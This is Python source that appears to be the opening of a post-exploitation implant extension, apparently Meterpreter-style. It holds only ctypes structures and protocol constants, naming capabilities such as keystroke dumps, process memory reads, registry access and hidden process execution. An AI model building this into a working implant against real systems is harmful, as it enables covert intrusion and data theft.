import fnmatch import getpass import os import platform import re import select import shlex import shutil import socket import struct import subprocess import sys import time try: import ctypes import ctypes.util has_ctypes = True has_windll = hasattr(ctypes, 'windll') except ImportError: has_ctypes = False has_windll = False try: import pty has_pty = True except ImportError: has_pty = False try: import pwd has_pwd = True except ImportError: has_pwd = False try: import termios has_termios = True except ImportError: has_termios = False try: import fcntl has_fcntl = True except ImportError: has_fcntl = False try: import _winreg as winreg has_winreg = True except ImportError: has_winreg = False try: import winreg has_winreg = True except ImportError: has_winreg = (has_winreg or False) if sys.version_info[0] < 3: is_str = lambda obj: issubclass(obj.__class__, str) is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) else: if isinstance(__builtins__, dict): is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) else: is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',))) is_bytes = lambda obj: issubclass(obj.__class__, bytes) NULL_BYTE = bytes('\x00', 'UTF-8') long = int unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) libc = None if has_ctypes: if sys.platform == 'darwin' or sys.platform.startswith('linux'): libc = ctypes.CDLL(ctypes.util.find_library('c')) size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8)) # # Windows Structures # class EVENTLOGRECORD(ctypes.Structure): _fields_ = [("Length", ctypes.c_uint32), ("Reserved", ctypes.c_uint32), ("RecordNumber", ctypes.c_uint32), ("TimeGenerated", ctypes.c_uint32), ("TimeWritten", ctypes.c_uint32), ("EventID", ctypes.c_uint32), ("EventType", ctypes.c_uint16), ("NumStrings", ctypes.c_uint16), ("EventCategory", ctypes.c_uint16), ("ReservedFlags", ctypes.c_uint16), ("ClosingRecordNumber", ctypes.c_uint32), ("StringOffset", ctypes.c_uint32), ("UserSidLength", ctypes.c_uint32), ("UserSidOffset", ctypes.c_uint32), ("DataLength", ctypes.c_uint32), ("DataOffset", ctypes.c_uint32)] class SOCKADDR(ctypes.Structure): _fields_ = [("sa_family", ctypes.c_ushort), ("sa_data", (ctypes.c_uint8 * 14))] class SOCKET_ADDRESS(ctypes.Structure): _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), ("iSockaddrLength", ctypes.c_int)] class sockaddr_in(ctypes.Structure): _fields_ = [("sin_family", ctypes.c_short), ("sin_port", ctypes.c_ushort), ("sin_addr", ctypes.c_byte * 4), ("sin_zero", ctypes.c_char * 8) ] SOCKADDR_IN = sockaddr_in class sockaddr_in6(ctypes.Structure): _fields_ = [("sin6_family", ctypes.c_short), ("sin6_port", ctypes.c_ushort), ("sin6_flowinfo", ctypes.c_ulong), ("sin6_addr", ctypes.c_byte * 16), ("sin6_scope_id", ctypes.c_ulong) ] SOCKADDR_IN6 = sockaddr_in6 class SOCKADDR_INET(ctypes.Union): _fields_ = [("Ipv4", SOCKADDR_IN), ("Ipv6", SOCKADDR_IN6), ("si_family", ctypes.c_short) ] class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): _fields_ = [ ("s", type( '_s_IP_ADAPTER_UNICAST_ADDRESS', (ctypes.Structure,), dict(_fields_=[ ("Length", ctypes.c_ulong), ("Flags", ctypes.c_uint32) ]) )), ("Next", ctypes.c_void_p), ("Address", SOCKET_ADDRESS), ("PrefixOrigin", ctypes.c_uint32), ("SuffixOrigin", ctypes.c_uint32), ("DadState", ctypes.c_uint32), ("ValidLifetime", ctypes.c_ulong), ("PreferredLifetime", ctypes.c_ulong), ("LeaseLifetime", ctypes.c_ulong), ("OnLinkPrefixLength", ctypes.c_uint8)] class IP_ADAPTER_ADDRESSES(ctypes.Structure): _fields_ = [ ("u", type( '_u_IP_ADAPTER_ADDRESSES', (ctypes.Union,), dict(_fields_ = [ ("Alignment", ctypes.c_ulonglong), ("s", type( '_s_IP_ADAPTER_ADDRESSES', (ctypes.Structure,), dict(_fields_ = [ ("Length", ctypes.c_ulong), ("IfIndex", ctypes.c_uint32) ]) )) ]) )), ("Next", ctypes.c_void_p), ("AdapterName", ctypes.c_char_p), ("FirstUnicastAddress", ctypes.c_void_p), ("FirstAnycastAddress", ctypes.c_void_p), ("FirstMulticastAddress", ctypes.c_void_p), ("FirstDnsServerAddress", ctypes.c_void_p), ("DnsSuffix", ctypes.c_wchar_p), ("Description", ctypes.c_wchar_p), ("FriendlyName", ctypes.c_wchar_p), ("PhysicalAddress", (ctypes.c_uint8 * 8)), ("PhysicalAddressLength", ctypes.c_uint32), ("Flags", ctypes.c_uint32), ("Mtu", ctypes.c_uint32), ("IfType", ctypes.c_uint32), ("OperStatus", ctypes.c_uint32), ("Ipv6IfIndex", ctypes.c_uint32), ("ZoneIndices", (ctypes.c_uint32 * 16)), ("FirstPrefix", ctypes.c_void_p), ("TransmitLinkSpeed", ctypes.c_uint64), ("ReceiveLinkSpeed", ctypes.c_uint64), ("FirstWinsServerAddress", ctypes.c_void_p), ("FirstGatewayAddress", ctypes.c_void_p), ("Ipv4Metric", ctypes.c_ulong), ("Ipv6Metric", ctypes.c_ulong), ("Luid", ctypes.c_uint64), ("Dhcpv4Server", SOCKET_ADDRESS), ("CompartmentId", ctypes.c_uint32), ("NetworkGuid", (ctypes.c_uint8 * 16)), ("ConnectionType", ctypes.c_uint32), ("TunnelType", ctypes.c_uint32), ("Dhcpv6Server", SOCKET_ADDRESS), ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), ("Dhcpv6ClientDuidLength", ctypes.c_ulong), ("Dhcpv6Iaid", ctypes.c_ulong), ("FirstDnsSuffix", ctypes.c_void_p)] class LASTINPUTINFO(ctypes.Structure): _fields_ = [("cbSize", ctypes.c_uint32), ("dwTime", ctypes.c_uint32)] class MIB_IPINTERFACE_ROW(ctypes.Structure): _fields_ = [("Family", ctypes.c_uint16), ("InterfaceLuid", ctypes.c_uint64), ("InterfaceIndex", ctypes.c_uint32), ("MaxReassemblySize", ctypes.c_uint32), ("InterfaceIdentifier", ctypes.c_uint64), ("MinRouterAdvertisementInterval", ctypes.c_uint32), ("MaxRouterAdvertisementInterval", ctypes.c_uint32), ("AdvertisingEnabled", ctypes.c_uint8), ("ForwardingEnabled", ctypes.c_uint8), ("WeakHostSend", ctypes.c_uint8), ("WeakHostReceive", ctypes.c_uint8), ("UseAutomaticMetric", ctypes.c_uint8), ("UseNeighborUnreachabilityDetection", ctypes.c_uint8), ("ManagedAddressConfigurationSupported", ctypes.c_uint8), ("OtherStatefulConfigurationSupported", ctypes.c_uint8), ("AdvertiseDefaultRoute", ctypes.c_uint8), ("RouterDiscoveryBehavior", ctypes.c_uint32), ("DadTransmits", ctypes.c_uint32), ("BaseReachableTime", ctypes.c_uint32), ("RetransmitTime", ctypes.c_uint32), ("PathMtuDiscoveryTimeout", ctypes.c_uint32), ("LinkLocalAddressBehavior", ctypes.c_uint32), ("LinkLocalAddressTimeout", ctypes.c_uint32), ("ZoneIndices", ctypes.c_uint32 * 16), ("SitePrefixLength", ctypes.c_uint32), ("Metric", ctypes.c_uint32), ("NlMtu", ctypes.c_uint32), ("Connected", ctypes.c_uint8), ("SupportsWakeUpPatterns", ctypes.c_uint8), ("SupportsNeighborDiscovery", ctypes.c_uint8), ("SupportsRouterDiscovery", ctypes.c_uint8), ("ReachableTime", ctypes.c_uint32), ("TransmitOffload", ctypes.c_uint8), ("ReceiveOffload", ctypes.c_uint8), ("DisableDefaultRoutes", ctypes.c_uint8), ] class IP_ADDRESS_PREFIX(ctypes.Structure): _fields_ = [("Prefix", SOCKADDR_INET), ("PrefixLength", ctypes.c_uint8) ] class MIB_IPFORWARDROW(ctypes.Structure): _fields_ = [("dwForwardDest", ctypes.c_uint32), ("dwForwardMask", ctypes.c_uint32), ("dwForwardPolicy", ctypes.c_uint32), ("dwForwardNextHop", ctypes.c_uint32), ("dwForwardIfIndex", ctypes.c_uint32), ("dwForwardType", ctypes.c_uint32), ("dwForwardProto", ctypes.c_uint32), ("dwForwardAge", ctypes.c_uint32), ("dwForwardNextHopAS", ctypes.c_uint32), ("dwForwardMetric1", ctypes.c_uint32), ("dwForwardMetric2", ctypes.c_uint32), ("dwForwardMetric3", ctypes.c_uint32), ("dwForwardMetric4", ctypes.c_uint32), ("dwForwardMetric5", ctypes.c_uint32), ] PMIB_IPFORWARDROW = ctypes.POINTER(MIB_IPFORWARDROW) class MIB_IPFORWARD_ROW2(ctypes.Structure): _fields_ = [("InterfaceLuid", ctypes.c_uint64), ("InterfaceIndex", ctypes.c_uint32), ("DestinationPrefix", IP_ADDRESS_PREFIX), ("NextHop", SOCKADDR_INET), ("SitePrefixLength", ctypes.c_uint8), ("ValidLifetime", ctypes.c_uint32), ("PreferredLifetime", ctypes.c_uint32), ("Metric", ctypes.c_uint32), ("Protocol", ctypes.c_uint32), ("Loopback", ctypes.c_byte), ("AutoconfigureAddress", ctypes.c_byte), ("Publish", ctypes.c_byte), ("Immortal", ctypes.c_byte), ("Age", ctypes.c_uint32), ("Origin", ctypes.c_uint32), ] PMIB_IPFORWARD_ROW2 = ctypes.POINTER(MIB_IPFORWARD_ROW2) class MIB_IPFORWARDTABLE(ctypes.Structure): _fields_ = [("dwNumEntries", ctypes.c_uint32), ("table", MIB_IPFORWARDROW * 0) ] PMIB_IPFORWARDTABLE = ctypes.POINTER(MIB_IPFORWARDTABLE) class MIB_IPFORWARD_TABLE2(ctypes.Structure): _fields_ = [("NumEntries", ctypes.c_uint32), ("Table", MIB_IPFORWARD_ROW2 * 0) ] PMIB_IPFORWARD_TABLE2 = ctypes.POINTER(MIB_IPFORWARD_TABLE2) class OSVERSIONINFOEXW(ctypes.Structure): _fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32), ("dwMajorVersion", ctypes.c_uint32), ("dwMinorVersion", ctypes.c_uint32), ("dwBuildNumber", ctypes.c_uint32), ("dwPlatformId", ctypes.c_uint32), ("szCSDVersion", (ctypes.c_wchar * 128)), ("wServicePackMajor", ctypes.c_uint16), ("wServicePackMinor", ctypes.c_uint16), ("wSuiteMask", ctypes.c_uint16), ("wProductType", ctypes.c_uint8), ("wReserved", ctypes.c_uint8)] class PROCESSENTRY32(ctypes.Structure): _fields_ = [("dwSize", ctypes.c_uint32), ("cntUsage", ctypes.c_uint32), ("th32ProcessID", ctypes.c_uint32), ("th32DefaultHeapID", ctypes.c_void_p), ("th32ModuleID", ctypes.c_uint32), ("cntThreads", ctypes.c_uint32), ("th32ParentProcessID", ctypes.c_uint32), ("thPriClassBase", ctypes.c_int32), ("dwFlags", ctypes.c_uint32), ("szExeFile", (ctypes.c_char * 260))] class SID_AND_ATTRIBUTES(ctypes.Structure): _fields_ = [("Sid", ctypes.c_void_p), ("Attributes", ctypes.c_uint32)] class SYSTEM_INFO(ctypes.Structure): _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), ("wReserved", ctypes.c_uint16), ("dwPageSize", ctypes.c_uint32), ("lpMinimumApplicationAddress", ctypes.c_void_p), ("lpMaximumApplicationAddress", ctypes.c_void_p), ("dwActiveProcessorMask", ctypes.c_uint32), ("dwNumberOfProcessors", ctypes.c_uint32), ("dwProcessorType", ctypes.c_uint32), ("dwAllocationGranularity", ctypes.c_uint32), ("wProcessorLevel", ctypes.c_uint16), ("wProcessorRevision", ctypes.c_uint16)] class TOKEN_USER(ctypes.Structure): _fields_ = [("User", SID_AND_ATTRIBUTES)] class UNIVERSAL_NAME_INFO(ctypes.Structure): _fields_ = [("lpUniversalName", ctypes.c_wchar_p)] class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure): _fields_ = [("fAutoDetect", ctypes.c_int8), ("lpszAutoConfigUrl", ctypes.c_wchar_p), ("lpszProxy", ctypes.c_wchar_p), ("lpszProxyBypass", ctypes.c_wchar_p)] # # Linux Structures # class IFADDRMSG(ctypes.Structure): _fields_ = [("family", ctypes.c_uint8), ("prefixlen", ctypes.c_uint8), ("flags", ctypes.c_uint8), ("scope", ctypes.c_uint8), ("index", ctypes.c_int32)] class IFINFOMSG(ctypes.Structure): _fields_ = [("family", ctypes.c_uint8), ("pad", ctypes.c_int8), ("type", ctypes.c_uint16), ("index", ctypes.c_int32), ("flags", ctypes.c_uint32), ("chagen", ctypes.c_uint32)] class IOVEC(ctypes.Structure): _fields_ = [("iov_base", ctypes.c_void_p), ("iov_len", size_t)] class NLMSGHDR(ctypes.Structure): _fields_ = [("len", ctypes.c_uint32), ("type", ctypes.c_uint16), ("flags", ctypes.c_uint16), ("seq", ctypes.c_uint32), ("pid", ctypes.c_uint32)] class RTATTR(ctypes.Structure): _fields_ = [("len", ctypes.c_uint16), ("type", ctypes.c_uint16)] class RTMSG(ctypes.Structure): _fields_ = [("family", ctypes.c_uint8), ("dst_len", ctypes.c_uint8), ("src_len", ctypes.c_uint8), ("tos", ctypes.c_uint8), ("table", ctypes.c_uint8), ("protocol", ctypes.c_uint8), ("scope", ctypes.c_uint8), ("type", ctypes.c_uint8), ("flags", ctypes.c_uint32)] TLV_EXTENSIONS = 20000 # # TLV Meta Types # TLV_META_TYPE_NONE = ( 0 ) TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV Specific Types # TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs ## TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206 TLV_TYPE_MOUNT_GROUP = TLV_META_TYPE_GROUP | 1207 TLV_TYPE_MOUNT_NAME = TLV_META_TYPE_STRING | 1208 TLV_TYPE_MOUNT_TYPE = TLV_META_TYPE_UINT | 1209 TLV_TYPE_MOUNT_SPACE_USER = TLV_META_TYPE_QWORD | 1210 TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211 TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212 TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213 TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1221 TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 TLV_TYPE_FILE_MODE_T = TLV_META_TYPE_UINT | 1234 ## # Net ## TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 ## # Proxy configuration ## TLV_TYPE_PROXY_CFG_AUTODETECT = TLV_META_TYPE_BOOL | 1445 TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING | 1446 TLV_TYPE_PROXY_CFG_PROXY = TLV_META_TYPE_STRING | 1447 TLV_TYPE_PROXY_CFG_PROXYBYPASS = TLV_META_TYPE_STRING | 1448 ## # Socket ## TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Railgun ## TLV_TYPE_EXTENSION_RAILGUN = 0 TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1) TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2) TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3) TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4) TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5) TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6) TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12) TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13) TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14) TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15) TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16) ## # Registry ## TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 ## # Config ## TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044 TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048 ## # Environment ## TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 TLV_TYPE_ENV_VALUE = TLV_META_TYPE_STRING | 1101 TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 TLV_TYPE_TERMINAL_ROWS = TLV_META_TYPE_UINT | 2600 TLV_TYPE_TERMINAL_COLUMNS = TLV_META_TYPE_UINT | 2601 ## # Ui ## TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 ## # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 ## # Power ## TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 ## # Sys ## PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) PROCESS_EXECUTE_FLAG_SUBSHELL = (1 << 6) PROCESS_ARCH_UNKNOWN = 0 PROCESS_ARCH_X86 = 1 PROCESS_ARCH_X64 = 2 PROCESS_ARCH_IA64 = 3 ## # Errors ## ERROR_SUCCESS = 0 # not defined in original C implementation ERROR_FAILURE = 1 # Special return value to match up with Windows error codes for network # errors. ERROR_CONNECTION_ERROR = 10000 # Windows Constants GAA_FLAG_SKIP_ANYCAST = 0x0002 GAA_FLAG_SKIP_MULTICAST = 0x0004 GAA_FLAG_INCLUDE_PREFIX = 0x0010 GAA_FLAG_SKIP_DNS_SERVER = 0x0080 LOCALE_SISO639LANGNAME = 0x0059 LOCALE_SISO3166CTRYNAME = 0x005A PROCESS_TERMINATE = 0x0001 PROCESS_VM_READ = 0x0010 PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 VER_NT_WORKSTATION = 0x0001 VER_NT_DOMAIN_CONTROLLER = 0x0002 VER_NT_SERVER = 0x0003 VER_PLATFORM_WIN32s = 0x0000 VER_PLATFORM_WIN32_WINDOWS = 0x0001 VER_PLATFORM_WIN32_NT = 0x0002 WIN_AF_INET = 2 WIN_AF_INET6 = 23 UNIVERSAL_NAME_INFO_LEVEL = 1 DRIVE_REMOTE = 4 # Linux Constants RT_TABLE_MAIN = 254 RTA_UNSPEC = 0 RTA_DST = 1 RTA_SRC = 2 RTA_IIF = 3 RTA_OIF = 4 RTA_GATEWAY = 5 RTA_PRIORITY = 6 RTA_PREFSRC = 7 RTA_METRICS = 8 RTA_MULTIPATH = 9 RTA_PROTOINFO = 10 #/* no longer used */ RTA_FLOW = 11 RTA_CACHEINFO = 12 RTA_SESSION = 13 #/* no longer used */ RTA_MP_ALGO = 14 #/* no longer used */ RTA_TABLE = 15 RTM_GETLINK = 18 RTM_GETADDR = 22 RTM_GETROUTE = 26 IFLA_ADDRESS = 1 